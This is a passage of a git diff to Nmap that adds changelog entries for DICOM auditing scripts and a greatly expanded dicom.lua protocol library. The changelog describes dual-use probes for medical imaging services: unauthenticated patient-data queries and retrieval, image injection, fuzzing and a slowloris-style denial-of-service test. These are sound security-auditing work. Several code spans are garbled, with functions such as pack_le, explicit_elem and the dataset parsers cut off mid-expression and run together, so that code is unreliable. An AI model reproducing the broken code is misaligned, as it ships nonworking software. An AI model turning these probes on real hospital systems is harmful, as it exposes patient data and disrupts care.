diff --git a/CHANGELOG b/CHANGELOG index e5f7bbc19..684b51216 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,56 @@ #Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added 8 new scripts, for a total of 620 NSE scripts, all for auditing + DICOM (medical imaging) services: + + + dicom-info fingerprints a DICOM SCP via A-ASSOCIATE, reporting its + Implementation Class UID and Version Name, accepted SOP classes and + transfer syntaxes, max PDU and protocol version; over TLS it also reports + the server certificate (key type/size, signature algorithm, with weak- + crypto and self-signed flags) and the mutual-TLS / client-certificate + posture. [Paulino Calderon] + + + dicom-cfind-ls performs C-FIND queries to enumerate studies and series and + the patient-level metadata an archive returns, flagging unauthenticated + query access. [Paulino Calderon] + + + dicom-cmove exercises C-MOVE to test whether stored studies can be + retrieved to an arbitrary destination AE. [Paulino Calderon] + + + dicom-get retrieves instances over C-GET, performing SCP/SCU role + negotiation so the retrieval actually completes, and reports + unauthenticated read access. [Paulino Calderon] + + + dicom-store-fuzzer fuzzes the C-STORE service with a corpus of malformed + datasets, classifying each response (accept, reject, timeout, reset, + corrupt) and running a periodic C-ECHO health check to detect crashes + mid-campaign. [Paulino Calderon] + + + dicom-store-inject tests whether an archive accepts an unauthenticated + C-STORE by uploading a single clearly-synthetic Secondary Capture instance + (fake patient, "safe to delete" markers, UIDs under the 2.25 arc) and + reporting whether it was stored, refused, or the association was rejected; + it prints the stored UIDs for cleanup. [Paulino Calderon] + + + dicom-web-enum enumerates DICOMweb (PS3.18) services over HTTP(S) -- + QIDO-RS, WADO-RS and STOW-RS -- classifying each as open, authentication- + required or absent, reporting the study/patient metadata an unauthenticated + client can read and flagging an open STOW-RS store (image-injection) + surface. [Paulino Calderon] + + + dicom-slowloris probes for DICOM association-pool exhaustion (a slowloris- + style DoS) in idle, C-ECHO keep-alive and partial-handshake modes, + measuring a latency baseline, requiring repeated confirmation before + declaring exhaustion, and reporting a graded verdict with recovery time. + [Paulino Calderon] + +o [NSE] Expanded the dicom.lua library from a basic A-ASSOCIATE/C-ECHO helper + into a full DIMSE toolkit. It now supports C-STORE, C-FIND, C-GET and + C-MOVE; A-ASSOCIATE-RQ with multiple presentation contexts and SCP/SCU role + negotiation (so C-GET sub-operations work); command-set and dataset build/ + parse in implicit and explicit VR; and DICOM-over-TLS transport (PS3.15, + port 2762) selectable with the dicom.tls script-arg. [Paulino Calderon] + o [GH#3523] Fixed an rare false-positive case in TCP Connect scan (-sT) where a failed connect() may leave SO_ERROR set to 0 even though an ICMP error has been received and select() has indicated the socket. diff --git a/nselib/dicom.lua b/nselib/dicom.lua index d751ef8a6..e6e8e3d2d 100644 --- a/nselib/dicom.lua +++ b/nselib/dicom.lua @@ -1,241 +1,1369 @@ --- --- DICOM library +-- DICOM protocol library for Nmap NSE scripts. -- --- This library implements (partially) the DICOM protocol. This protocol is used to --- capture, store and distribute medical images. +-- Implements the DICOM Upper Layer protocol (PS3.8) and core DIMSE +-- services (PS3.7). Provides connection management, A-ASSOCIATE +-- negotiation, P-DATA-TF PDU construction/parsing, and helpers for +-- C-ECHO, C-STORE, C-FIND, C-GET, and C-MOVE. -- --- From Wikipedia: --- The core application of the DICOM standard is to capture, store and distribute --- medical images. The standard also provides services related to imaging such as --- managing imaging procedure worklists, printing images on film or digital media --- like DVDs, reporting procedure status like completion of an imaging acquisition, --- confirming successful archiving of images, encrypting datasets, removing patient --- identifying information from datasets, organizing layouts of images for review, --- saving image manipulations and annotations, calibrating image displays, encoding --- ECGs, encoding CAD results, encoding structured measurement data, and storing --- acquisition protocols. +-- Supports both Implicit VR Little Endian and Explicit VR Little Endian +-- transfer syntaxes for dataset encoding and parsing. +-- +-- Designed to be shared across multiple DICOM NSE scripts +-- (dicom-ping, dicom-store-fuzzer, dicom-cfind-ls, etc.) so that +-- protocol logic lives in one place. +-- +-- INSTALLATION: +-- Copy this file to your Nmap nselib/ directory to replace the +-- built-in minimal dicom.lua: +-- cp dicom.lua /usr/share/nmap/nselib/dicom.lua +-- (or /usr/local/share/nmap/nselib/dicom.lua on macOS) +-- This library is fully backward-compatible with the original: the legacy +-- API (start_connection, send, receive, pdu_header_encode, associate, +-- send_pdata) keeps its exact signatures and behaviour, so the official +-- dicom-ping and dicom-brute scripts run unchanged. +-- +-- CHANGES vs. the upstream nmap nselib/dicom.lua: +-- * Legacy API preserved verbatim (drop-in compatible). +-- * Added DIMSE service support: C-ECHO, C-STORE, C-FIND, C-GET, C-MOVE. +-- * Added A-ASSOCIATE-RQ builder with multiple presentation contexts, +-- configurable max PDU, and SCP/SCU Role Selection (PS3.7 D.3.3.4) so +-- C-GET can receive C-STORE sub-operations. +-- * Added A-ASSOCIATE-AC parser (accepted contexts, transfer syntaxes, +-- max PDU, implementation identification, accepted roles) for +-- fingerprinting and negotiation. +-- * Added P-DATA-TF fragmentation/reassembly that surfaces the PDV +-- presentation-context ID (needed to answer C-STORE sub-ops correctly). +-- * Added Implicit/Explicit VR LE element encoders/decoders and Part-10 +-- (.dcm) dataset extraction. -- -- OPTIONS: --- *called_aet - If set it changes the called Application Entity Title --- used in the requests. Default: ANY-SCP --- *calling_aet - If set it changes the calling Application Entity Title --- used in the requests. Default: ECHOSCU +-- *called_aet - Called Application Entity Title (default: +-- ANY-SCP) +-- *calling_aet - Calling Application Entity Title (default: +-- ECHOSCU) -- -- @args dicom.called_aet Called Application Entity Title. Default: ANY-SCP -- @args dicom.calling_aet Calling Application Entity Title. Default: ECHOSCU --- +-- -- @author Paulino Calderon -- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html --- -local nmap = require "nmap" +local nmap = require "nmap" local stdnse = require "stdnse" local string = require "string" -local table = require "table" +local table = require "table" +local math = require "math" +local io = io +local os = os _ENV = stdnse.module("dicom", stdnse.seeall) -local MIN_SIZE_ASSOC_REQ = 68 -local MAX_SIZE_PDU = 128000 -local MIN_HEADER_LEN = 6 -local PDU_NAMES = {} -local PDU_CODES = {} +----------------------------------------------------------------------- +-- 1. CONSTANTS +----------------------------------------------------------------------- -PDU_CODES = -{ +--- Minimum size in bytes of a valid A-ASSOCIATE-RQ PDU. +MIN_SIZE_ASSOC_REQ = 68 +--- Maximum PDU size accepted when reading from the network. +MAX_SIZE_PDU = 128000 +--- Length in bytes of a DICOM Upper Layer PDU header. +MIN_HEADER_LEN = 6 + +--- +-- DICOM Upper Layer PDU type codes (PS3.8 Table 9-1). +-- @class table +-- @name PDU_CODES +PDU_CODES = { ASSOCIATE_REQUEST = 0x01, ASSOCIATE_ACCEPT = 0x02, ASSOCIATE_REJECT = 0x03, DATA = 0x04, RELEASE_REQUEST = 0x05, RELEASE_RESPONSE = 0x06, - ABORT = 0x07 + ABORT = 0x07, } +--- +-- Reverse map of PDU_CODES: numeric type code to its name. +-- @class table +-- @name PDU_NAMES +PDU_NAMES = {} for i, v in pairs(PDU_CODES) do PDU_NAMES[v] = i end --- --- start_connection(host, port) starts socket to DICOM service --- --- @param host Host object --- @param port Port table --- @return (status, socket) If status is true, socket of DICOM object is set. --- If status is false, socket is the error message. +-- DIMSE Command Field values (PS3.7 Table E.1-1). +-- @class table +-- @name COMMAND_FIELD +COMMAND_FIELD = { + C_STORE_RQ = 0x0001, + C_STORE_RSP = 0x8001, + C_GET_RQ = 0x0010, + C_GET_RSP = 0x8010, + C_FIND_RQ = 0x0020, + C_FIND_RSP = 0x8020, + C_MOVE_RQ = 0x0021, + C_MOVE_RSP = 0x8021, + C_ECHO_RQ = 0x0030, + C_ECHO_RSP = 0x8030, +} + --- +-- DIMSE Status codes (PS3.7 Table C.4-1 ff.). +-- @class table +-- @name STATUS +STATUS = { + SUCCESS = 0x0000, + PENDING = 0xFF00, + PENDING_WARN = 0xFF01, + CANCEL = 0xFE00, + WARN_COERCE = 0xB000, + FAIL_REFUSED_MV = 0xA700, + FAIL_REFUSED_SOP = 0xA900, + FAIL_ERROR = 0xC000, +} + +--- +-- Well-known SOP Class UIDs (storage and Query/Retrieve information models). +-- @class table +-- @name SOP_CLASS +SOP_CLASS = { + VERIFICATION = "1.2.840.10008.1.1", + CT_IMAGE_STORAGE = "1.2.840.10008.5.1.4.1.1.2", + ENHANCED_CT_STORAGE = "1.2.840.10008.5.1.4.1.1.2.1", + MR_IMAGE_STORAGE = "1.2.840.10008.5.1.4.1.1.4", + SECONDARY_CAPTURE = "1.2.840.10008.5.1.4.1.1.7", + PET_IMAGE_STORAGE = "1.2.840.10008.5.1.4.1.1.128", + RT_DOSE_STORAGE = "1.2.840.10008.5.1.4.1.1.481.2", + RT_PLAN_STORAGE = "1.2.840.10008.5.1.4.1.1.481.5", + -- Query/Retrieve Information Models + STUDY_ROOT_QR_FIND = "1.2.840.10008.5.1.4.1.2.2.1", + STUDY_ROOT_QR_MOVE = "1.2.840.10008.5.1.4.1.2.2.2", + STUDY_ROOT_QR_GET = "1.2.840.10008.5.1.4.1.2.2.3", + PATIENT_ROOT_QR_FIND = "1.2.840.10008.5.1.4.1.2.1.1", + PATIENT_ROOT_QR_MOVE = "1.2.840.10008.5.1.4.1.2.1.2", + PATIENT_ROOT_QR_GET = "1.2.840.10008.5.1.4.1.2.1.3", +} + +--- +-- Transfer Syntax UIDs (PS3.5). +-- @class table +-- @name TRANSFER_SYNTAX +TRANSFER_SYNTAX = { + IMPLICIT_LE = "1.2.840.10008.1.2", + EXPLICIT_LE = "1.2.840.10008.1.2.1", + EXPLICIT_BE = "1.2.840.10008.1.2.2", + DEFLATED_LE = "1.2.840.10008.1.2.1.99", + JPEG_BASELINE = "1.2.840.10008.1.2.4.50", + JPEG_LS = "1.2.840.10008.1.2.4.80", + RLE = "1.2.840.10008.1.2.5", +} + +--- DICOM Application Context Name UID (PS3.7). +APP_CTX_UID = "1.2.840.10008.3.1.1.1" + +--- Implementation Class UID advertised in A-ASSOCIATE-RQ (DCMTK-compatible). +IMPL_CLASS_UID = "1.2.276.0.7230010.3.0.3.6.7" +--- Implementation Version Name advertised in A-ASSOCIATE-RQ. +IMPL_VERSION = "OFFIS_DCMTK_367" +--- Default maximum PDU length proposed during association. +MAX_PDU_DEFAULT = 16384 + +--- +-- Query/Retrieve levels (0008,0052 QueryRetrieveLevel values). +-- @class table +-- @name QR_LEVEL +QR_LEVEL = { + PATIENT = "PATIENT", + STUDY = "STUDY", + SERIES = "SERIES", + IMAGE = "IMAGE", +} + +--- +-- VRs that use the long (12-byte) explicit encoding in Explicit VR LE +-- (PS3.5 Table 7.1-1). Membership test: LONG_VRS[vr] is true for these. +-- @class table +-- @name LONG_VRS +LONG_VRS = { + OB = true, OD = true, OF = true, OL = true, OV = true, OW = true, + SQ = true, UC = true, UN = true, UR = true, UT = true, + SV = true, UV = true, +} + +--- CommandDataSetType (0000,0800) sentinel: a dataset follows the command. +DATASET_PRESENT = 0x0001 +--- CommandDataSetType (0000,0800) sentinel: no dataset follows the command. +DATASET_NOT_PRESENT = 0x0101 + +----------------------------------------------------------------------- +-- 2. LOW-LEVEL UTILITIES +----------------------------------------------------------------------- + +--- Pack a big-endian unsigned integer into n bytes. +function pack_be(val, n) + if n == 1 then return string.pack(">B", val) end + if n == 2 then return string.pack(">I2", val) end + if n == 4 then return string.pack(">I4", val) end + return string.pack(">I" .. n, val) +end + +--- Pack a little-endian unsigned integer into n bytes. +function pack_le(val, n) + if n == 1 then return string.pack("= n then return s:sub(1, n) end + return s .. string.rep(" ", n - #s) +end + +--- Build a TLV item: type(1) + reserved(1) + length(2, big-endian) + data. +function mk_item(item_type, data) + return string.pack(">B B I2", item_type, 0x00, #data) .. data +end + +--- Generate a plausible fake UID. +function generate_fake_uid() + return string.format("1.2.3.4.5.99999.%d.%d", + os.time(), math.random(100000, 999999)) +end + +--- Read a file from disk. Returns bytes string or nil, err. +function read_file(path) + local f, err = io.open(path, "rb") + if not f then return nil, "Cannot open file: " .. tostring(err) end + local data = f:read("*a") + f:close() + if not data then return nil, "Cannot read file: " .. path end + return data, nil +end + +--- Write binary data to a file. Returns true or nil, err. +function write_file(path, data) + local f, err = io.open(path, "wb") + if not f then + return nil, "Cannot open file for writing: " .. tostring(err) + end + f:write(data) + f:close() + return true +end + +----------------------------------------------------------------------- +-- 3. PDU HEADER +----------------------------------------------------------------------- + +--- Encode a DICOM PDU header (6 bytes). +-- @param pdu_type PDU type byte +-- @param length Length of the PDU body +-- @return status (bool), header_or_err (string) +function pdu_header_encode(pdu_type, length) + if type(pdu_type) ~= "number" then + return false, "PDU Type must be an unsigned integer. Range:0-7" + end + if type(length) ~= "number" then + return false, "Length must be an unsigned integer." + end + local header = string.pack(">B B I4", pdu_type, 0, length) + if #header < MIN_HEADER_LEN then + return false, "Header must be at least 6 bytes. Something went wrong." + end + return true, header +end + +----------------------------------------------------------------------- +-- 4. ASSOCIATION PDU BUILDERS +----------------------------------------------------------------------- + +--- Build an SCP/SCU Role Selection sub-item (PS3.7 §D.3.3.4, item type 0x54). +-- Used to request role reversal so the SCU can receive C-STORE sub-operations +-- (required for C-GET). +-- @param uid Abstract Syntax (SOP Class) UID the role applies to +-- @param scu SCU role byte (0 or 1) +-- @param scp SCP role byte (0 or 1) +-- @return Encoded role selection sub-item bytes +function mk_role_item(uid, scu, scp) + -- body: UID-length(2) + UID + SCU-role(1) + SCP-role(1) + local body = string.pack(">I2", #uid) .. uid + .. string.pack(">B B", scu and 1 or 0, scp and 1 or 0) + return mk_item(0x54, body) +end + +--- Build User Information sub-item for A-ASSOCIATE-RQ. +-- @param max_pdu Max PDU length to advertise +-- @param roles (optional) list of {uid=, scu=bool, scp=bool} +-- role-selection requests to append (for C-GET, request +-- scp=true +-- on the storage SOP classes you are willing to receive). +function mk_user_info(max_pdu, roles) + max_pdu = max_pdu or MAX_PDU_DEFAULT + local max_pdu_item = string.pack(">B B I2 I4", 0x51, 0x00, 0x04, max_pdu) + local inner = max_pdu_item + -- Role selection items must precede the implementation identification items + -- in typical peer implementations; place them here for maximum + -- compatibility. + if roles then + for _, r in ipairs(roles) do + inner = inner .. mk_role_item(r.uid, r.scu ~= false, r.scp == true) + end + end + inner = inner + .. mk_item(0x52, IMPL_CLASS_UID) + .. mk_item(0x55, IMPL_VERSION) + return mk_item(0x50, inner) +end + +--- Build a Presentation Context sub-item for A-ASSOCIATE-RQ. +-- @param pctx_id Odd integer 1–255 +-- @param sop_class Abstract Syntax UID string +-- @param transfer_uids List of Transfer Syntax UIDs +-- (default: Explicit VR LE + Implicit VR LE) +function mk_pres_ctx(pctx_id, sop_class, transfer_uids) + transfer_uids = transfer_uids or { + TRANSFER_SYNTAX.EXPLICIT_LE, + TRANSFER_SYNTAX.IMPLICIT_LE, + } + local inner = string.pack(">B B B B", pctx_id, 0x00, 0x00, 0x00) + .. mk_item(0x30, sop_class) + for _, ts in ipairs(transfer_uids) do + inner = inner .. mk_item(0x40, ts) + end + return mk_item(0x20, inner) +end + +--- Build a complete A-ASSOCIATE-RQ PDU. +-- @param called_ae Called AE Title (max 16 chars) +-- @param calling_ae Calling AE Title (max 16 chars) +-- @param sop_classes List of Abstract Syntax UIDs to propose +-- @param max_pdu Max PDU length to propose +-- @param transfer_uids Optional list of TS UIDs for all presentation contexts +-- @param roles Optional list of {uid=, scu=, scp=} role-selection +-- requests (see mk_user_info). Use for C-GET to request +-- scp=true on the storage SOP classes you will receive. +-- @return Full PDU bytes ready to send +function build_assoc_rq(called_ae, calling_ae, sop_classes, max_pdu, + transfer_uids, roles) + called_ae = pad_str(called_ae or "ANY-SCP", 16) + calling_ae = pad_str(calling_ae or "ECHOSCU", 16) + + local reserved_32 = string.rep("\x00", 32) + local body = string.pack(">I2 I2", 0x0001, 0x0000) + .. called_ae .. calling_ae .. reserved_32 + body = body .. mk_item(0x10, APP_CTX_UID) + + for i, sop in ipairs(sop_classes) do + local pctx_id = (2 * i - 1) + if pctx_id > 255 then pctx_id = 255 end + body = body .. mk_pres_ctx(pctx_id, sop, transfer_uids) + end + body = body .. mk_user_info(max_pdu, roles) + + return string.pack(">B B I4", PDU_CODES.ASSOCIATE_REQUEST, 0x00, #body) + .. body +end + +--- Parse A-ASSOCIATE-AC to extract accepted presentation contexts. +-- @param data Raw A-ASSOCIATE-AC PDU bytes +-- @return Table { pctxs = {pctx_id -> {accepted, transfer_syntax}}, max_pdu = +-- n } +function parse_assoc_ac(data) + local result = { + pctxs = {}, + max_pdu = MAX_PDU_DEFAULT, + roles = {}, -- Accepted SCP/SCU role selections {uid -> {scu,scp}} + -- Fingerprinting fields (populated from A-ASSOCIATE-AC) + called_ae = "", -- Called AE Title (from fixed header) + calling_ae = "", -- Calling AE Title (from fixed header) + impl_class_uid = "", -- Implementation Class UID (User Info 0x52) + impl_version = "", -- Implementation Version Name (User Info 0x55) + protocol_ver = 0, -- Protocol Version (should be 1) + } + if #data < 10 then return result end + + -- Fixed header after PDU header(6): protocol version(2) + reserved(2) + + -- called(16) + calling(16) + reserved(32) = 68 + if #data >= 74 then + result.protocol_ver = string.unpack(">I2", data, 7) + -- Called AE Title: bytes 11-26 (16 bytes, space-padded) + result.called_ae = data:sub(11, 26):gsub("%s+$", "") + -- Calling AE Title: bytes 27-42 (16 bytes, space-padded) + result.calling_ae = data:sub(27, 42):gsub("%s+$", "") + end + + local pos = 75 + if pos >= #data then return result end + + while pos <= #data - 4 do + local item_type = string.byte(data, pos) + local item_len = string.unpack(">I2", data, pos + 2) + local item_data = data:sub(pos + 4, pos + 3 + item_len) + pos = pos + 4 + item_len + + if item_type == 0x21 then + -- Presentation Context (AC) + local pctx_id = string.byte(item_data, 1) + local result_code = string.byte(item_data, 3) + local ts_uid = "" + if #item_data > 4 then + local ts_type = string.byte(item_data, 5) + if ts_type == 0x40 then + local ts_len = string.unpack(">I2", item_data, 7) + ts_uid = item_data:sub(9, 8 + ts_len) + end + end + result.pctxs[pctx_id] = { + accepted = (result_code == 0x00), + transfer_syntax = ts_uid, + } + elseif item_type == 0x50 then + -- User Information sub-items (PS3.7 Annex D.3.3) + local upos = 1 + while upos <= #item_data - 4 do + local u_type = string.byte(item_data, upos) + local u_len = string.unpack(">I2", item_data, upos + 2) + local u_val = item_data:sub(upos + 4, upos + 3 + u_len) + if u_type == 0x51 and u_len == 4 then + -- Maximum Length sub-item + result.max_pdu = string.unpack(">I4", item_data, upos + 4) + elseif u_type == 0x52 then + -- Implementation Class UID + result.impl_class_uid = u_val:gsub("%z", ""):gsub("%s+$", "") + elseif u_type == 0x55 then + -- Implementation Version Name + result.impl_version = u_val:gsub("%z", ""):gsub("%s+$", "") + elseif u_type == 0x54 then + -- SCP/SCU Role Selection (accepted): UID-len(2)+UID+SCU(1)+SCP(1) + if u_len >= 4 then + local uid_len = string.unpack(">I2", u_val, 1) + if uid_len + 2 <= #u_val then + local uid = u_val:sub(3, 2 + uid_len) + local scu_b = string.byte(u_val, 3 + uid_len) or 0 + local scp_b = string.byte(u_val, 4 + uid_len) or 0 + result.roles[uid] = { scu = (scu_b == 1), scp = (scp_b == 1) } + end + end + end + upos = upos + 4 + u_len + end + end + end + return result +end + +----------------------------------------------------------------------- +-- 5. P-DATA-TF PDU BUILDER / PARSER +----------------------------------------------------------------------- + +--- Chunk data into one or more P-DATA-TF PDUs (single-stream). +-- Use build_pdata_pdus when you need separate command/dataset PDU lists. +-- Use send_dimse() for the preferred combined approach. +-- @param pctx_id Presentation context ID +-- @param data Raw bytes to send +-- @param is_command true for command set, false for dataset +-- @param max_pdu Max PDU length +-- @return List of PDU byte strings +function build_pdata_pdus(pctx_id, data, is_command, max_pdu) + max_pdu = max_pdu or MAX_PDU_DEFAULT + -- Overhead: 6 (PDU header) + 4 (PDV length) + 1 (PC-ID) + 1 (MCH) = 12 + local frag_size = max_pdu - 12 + if frag_size < 1 then frag_size = 512 end + + local pdus = {} + local total = #data + local offset = 1 + + while offset <= total do + local chunk_end = math.min(offset + frag_size - 1, total) + local chunk = data:sub(offset, chunk_end) + local is_last = (chunk_end >= total) + + -- PS3.8 §9.3.5.1: bit 0 = 1 → command, bit 0 = 0 → dataset; bit 1 = last + local mch + if is_command then + mch = is_last and 0x03 or 0x01 + else + mch = is_last and 0x02 or 0x00 + end + + local pdv_len = 2 + #chunk -- PC-ID + MCH + data + local pdv = string.pack(">I4 B B", pdv_len, pctx_id, mch) .. chunk + local pdu = string.pack(">B B I4", PDU_CODES.DATA, 0x00, #pdv) .. pdv + pdus[#pdus + 1] = pdu + offset = chunk_end + 1 + end + return pdus +end + +--- Extract command bytes and dataset bytes from a single P-DATA-TF PDU. +-- @param data Raw P-DATA-TF PDU bytes +-- @return cmd_bytes, dataset_bytes, cmd_complete, ds_complete, pctx_id +-- cmd_complete: true if the last command PDV had the "last fragment" bit set +-- ds_complete: true if the last dataset PDV had the "last fragment" bit set +-- pctx_id: presentation context ID of the PDV(s) (command PDV +-- preferred), +-- needed to reply on the correct context (e.g. C-STORE-RSP +-- during +-- C-GET sub-operations). nil if no PDV was seen. +function parse_pdata(data) + local cmd_bytes = "" + local dataset_bytes = "" + local cmd_complete = false + local ds_complete = false + local pctx_id = nil + if not data or #data < 6 then + return cmd_bytes, dataset_bytes, cmd_complete, ds_complete, pctx_id + end + + local pos = 1 + while pos <= #data - 5 do + local pdu_type = string.byte(data, pos) + if pdu_type ~= PDU_CODES.DATA then break end + local pdu_len = string.unpack(">I4", data, pos + 2) + local pdu_end = pos + 5 + pdu_len + local pdu_data = data:sub(pos + 6, pdu_end) + pos = pdu_end + 1 + + -- Walk PDV items inside this PDU + local ppos = 1 + while ppos + 5 <= #pdu_data do + local pdv_len = string.unpack(">I4", pdu_data, ppos) + if pdv_len < 2 then break end + local pdv_pcid = string.byte(pdu_data, ppos + 4) + local pdv_mch = string.byte(pdu_data, ppos + 5) + local pdv_frag = pdu_data:sub(ppos + 6, ppos + 3 + pdv_len) + ppos = ppos + 4 + pdv_len + + -- PS3.8 §9.3.5.1: + -- Bit 0 = 1 -> command, Bit 0 = 0 -> dataset + -- Bit 1 = 1 -> last fragment + if pdv_mch and (pdv_mch & 0x01) == 0x01 then + cmd_bytes = cmd_bytes .. pdv_frag + cmd_complete = (pdv_mch & 0x02) == 0x02 + pctx_id = pdv_pcid -- command PDV context wins + else + dataset_bytes = dataset_bytes .. pdv_frag + ds_complete = (pdv_mch & 0x02) == 0x02 + if pctx_id == nil then pctx_id = pdv_pcid end + end + end + end + return cmd_bytes, dataset_bytes, cmd_complete, ds_complete, pctx_id +end + +----------------------------------------------------------------------- +-- 6. DATA ELEMENT ENCODING +----------------------------------------------------------------------- + +--- Encode a single DICOM element in Implicit VR Little Endian (PS3.5 §7.1.2). +-- @param group Group number (e.g. 0x0000, 0x0008, 0x0010) +-- @param elem Element number +-- @param vr VR string ("US", "UL", "UI", "CS", "LO", etc.) +-- @param val Value (number for US/UL, string otherwise) +-- @return Encoded element bytes +function implicit_elem(group, elem, vr, val) + local tag_bytes = pack_le(group, 2) .. pack_le(elem, 2) + local val_bytes + if vr == "US" then + val_bytes = pack_le(val, 2) + elseif vr == "UL" then + val_bytes = pack_le(val, 4) + elseif vr == "UI" then + val_bytes = tostring(val) + if #val_bytes % 2 ~= 0 then val_bytes = val_bytes .. "\x00" end + else + -- CS, LO, SH, DA, TM, PN, IS, etc. + val_bytes = tostring(val) + if #val_bytes % 2 ~= 0 then val_bytes = val_bytes .. " " end + end + return tag_bytes .. pack_le(#val_bytes, 4) .. val_bytes +end + +--- Encode a single DICOM element in Explicit VR Little Endian (PS3.5 §7.1.1). +-- Uses long format for OB/OD/OF/OL/OV/OW/SQ/UC/UN/UR/UT/SV/UV, +-- short format for all other VRs. +-- @param group Group number +-- @param elem Element number +-- @param vr VR string (2 characters) +-- @param val Value (number for US/UL/SS/SL, string otherwise) +-- @return Encoded element bytes +function explicit_elem(group, elem, vr, val) + local tag_bytes = pack_le(group, 2) .. pack_le(elem, 2) + local val_bytes + if vr == "US" then + val_bytes = pack_le(val, 2) + elseif vr == "UL" then + val_bytes = pack_le(val, 4) + elseif vr == "SS" then + val_bytes = string.pack(" {group, elem, raw, value} } +function parse_command_set(cmd_bytes) + local elements = {} + local pos = 1 + while pos <= #cmd_bytes - 7 do + local group = string.unpack(" #cmd_bytes + 1 then break end + local raw = cmd_bytes:sub(pos + 8, pos + 7 + vlen) + pos = pos + 8 + vlen + + local key = string.format("%04X,%04X", group, elem) + local value = raw + if group == 0x0000 then + if vlen == 2 then + value = string.unpack(" string table. +-- @param ds_bytes Raw dataset bytes +-- @return Table { "GGGG,EEEE" -> cleaned_string } +function parse_dataset_implicit(ds_bytes) + local elements = {} + local pos = 1 + while pos <= #ds_bytes - 7 do + local group = string.unpack(" 0 do + local g2 = string.unpack(" #ds_bytes + 1 then break end + local raw = ds_bytes:sub(pos + 8, pos + 7 + vlen) + pos = pos + 8 + vlen + local key = string.format("%04X,%04X", group, elem) + elements[key] = raw:gsub("%z", ""):gsub("%s+$", "") + end + end + return elements +end + +--- Parse Explicit VR LE dataset bytes into tag -> string table. +-- Handles both short-format and long-format VRs per PS3.5 §7.1.1. +-- @param ds_bytes Raw dataset bytes +-- @return Table { "GGGG,EEEE" -> cleaned_string } +function parse_dataset_explicit(ds_bytes) + local elements = {} + local pos = 1 + while pos + 3 <= #ds_bytes do + local group = string.unpack(" #ds_bytes then break end + local vr = ds_bytes:sub(pos + 4, pos + 5) + + local vlen, data_start + if LONG_VRS[vr] then + -- Long: tag(4) + VR(2) + reserved(2) + length(4) = 12 + if pos + 11 > #ds_bytes then break end + vlen = string.unpack(" #ds_bytes then break end + vlen = string.unpack(" 0 do + local g2 = string.unpack(" #ds_bytes then break end + local raw = ds_bytes:sub(data_start, data_start + vlen - 1) + pos = data_start + vlen + local key = string.format("%04X,%04X", group, elem) + elements[key] = raw:gsub("%z", ""):gsub("%s+$", "") + end + + ::continue:: + end + return elements +end + +--- Parse a dataset using the appropriate decoder for the transfer syntax. +-- If the TS indicates Implicit VR LE, uses the implicit parser; otherwise +-- uses the Explicit VR parser. Includes a heuristic fallback: if explicit +-- parsing is expected but the first element's VR bytes aren't valid ASCII +-- uppercase, falls back to implicit. +-- @param ds_bytes Raw dataset bytes +-- @param transfer_syntax Transfer syntax UID +-- @return Table { "GGGG,EEEE" -> cleaned_string } +function parse_dataset(ds_bytes, transfer_syntax) + if not ds_bytes or #ds_bytes == 0 then return {} end + if transfer_syntax == TRANSFER_SYNTAX.IMPLICIT_LE then + return parse_dataset_implicit(ds_bytes) + end + -- Heuristic: check if bytes 5-6 look like a valid 2-char VR + if #ds_bytes >= 6 then + local b5 = string.byte(ds_bytes, 5) + local b6 = string.byte(ds_bytes, 6) + if (b5 >= 0x41 and b5 <= 0x5A) and (b6 >= 0x41 and b6 <= 0x5A) then + return parse_dataset_explicit(ds_bytes) + else + stdnse.debug1("DICOM: Expected Explicit VR but VR bytes 0x%02X%02X" .. + " invalid; falling back to Implicit", b5, b6) + return parse_dataset_implicit(ds_bytes) + end + end + return parse_dataset_explicit(ds_bytes) +end + +----------------------------------------------------------------------- +-- 8. DIMSE COMMAND SET BUILDERS +----------------------------------------------------------------------- +-- Command sets are ALWAYS encoded in Implicit VR LE (PS3.7 §6.3.1). + +--- Build a C-ECHO-RQ command set. +-- @param msg_id Message ID +-- @return Command set bytes (Implicit VR LE) +function build_cecho_rq(msg_id) + msg_id = msg_id or 1 + local cmd = "" + cmd = cmd .. implicit_elem(0x0000, 0x0002, "UI", SOP_CLASS.VERIFICATION) + cmd = cmd .. implicit_elem(0x0000, 0x0100, "US", COMMAND_FIELD.C_ECHO_RQ) + cmd = cmd .. implicit_elem(0x0000, 0x0110, "US", msg_id) + cmd = cmd .. implicit_elem(0x0000, 0x0800, "US", DATASET_NOT_PRESENT) + return implicit_elem(0x0000, 0x0000, "UL", #cmd) .. cmd +end + +--- Build a C-STORE-RQ command set. +-- @param msg_id Message ID +-- @param sop_class_uid Affected SOP Class UID +-- @param sop_instance_uid Affected SOP Instance UID +-- @param priority Priority (default: LOW = 0x0002) +-- @return Command set bytes (Implicit VR LE) +function build_cstore_rq(msg_id, sop_class_uid, sop_instance_uid, priority) + priority = priority or 0x0002 + local cmd = "" + cmd = cmd .. implicit_elem(0x0000, 0x0002, "UI", sop_class_uid) + cmd = cmd .. implicit_elem(0x0000, 0x0100, "US", COMMAND_FIELD.C_STORE_RQ) + cmd = cmd .. implicit_elem(0x0000, 0x0110, "US", msg_id) + cmd = cmd .. implicit_elem(0x0000, 0x0700, "US", priority) + cmd = cmd .. implicit_elem(0x0000, 0x0800, "US", DATASET_PRESENT) + cmd = cmd .. implicit_elem(0x0000, 0x1000, "UI", sop_instance_uid) + return implicit_elem(0x0000, 0x0000, "UL", #cmd) .. cmd +end + +--- Build a C-FIND-RQ command set. +-- @param msg_id Message ID +-- @param sop_class_uid Abstract Syntax UID for the Q/R information model +-- @param priority Priority (default: LOW = 0x0002) +-- @return Command set bytes (Implicit VR LE) +function build_cfind_rq(msg_id, sop_class_uid, priority) + priority = priority or 0x0002 + local cmd = "" + cmd = cmd .. implicit_elem(0x0000, 0x0002, "UI", sop_class_uid) + cmd = cmd .. implicit_elem(0x0000, 0x0100, "US", COMMAND_FIELD.C_FIND_RQ) + cmd = cmd .. implicit_elem(0x0000, 0x0110, "US", msg_id) + cmd = cmd .. implicit_elem(0x0000, 0x0700, "US", priority) + cmd = cmd .. implicit_elem(0x0000, 0x0800, "US", DATASET_PRESENT) + return implicit_elem(0x0000, 0x0000, "UL", #cmd) .. cmd +end + +--- Build a C-GET-RQ command set. +-- @param msg_id Message ID +-- @param sop_class_uid Abstract Syntax UID for the Q/R information model +-- @param priority Priority (default: LOW = 0x0002) +-- @return Command set bytes (Implicit VR LE) +function build_cget_rq(msg_id, sop_class_uid, priority) + priority = priority or 0x0002 + local cmd = "" + 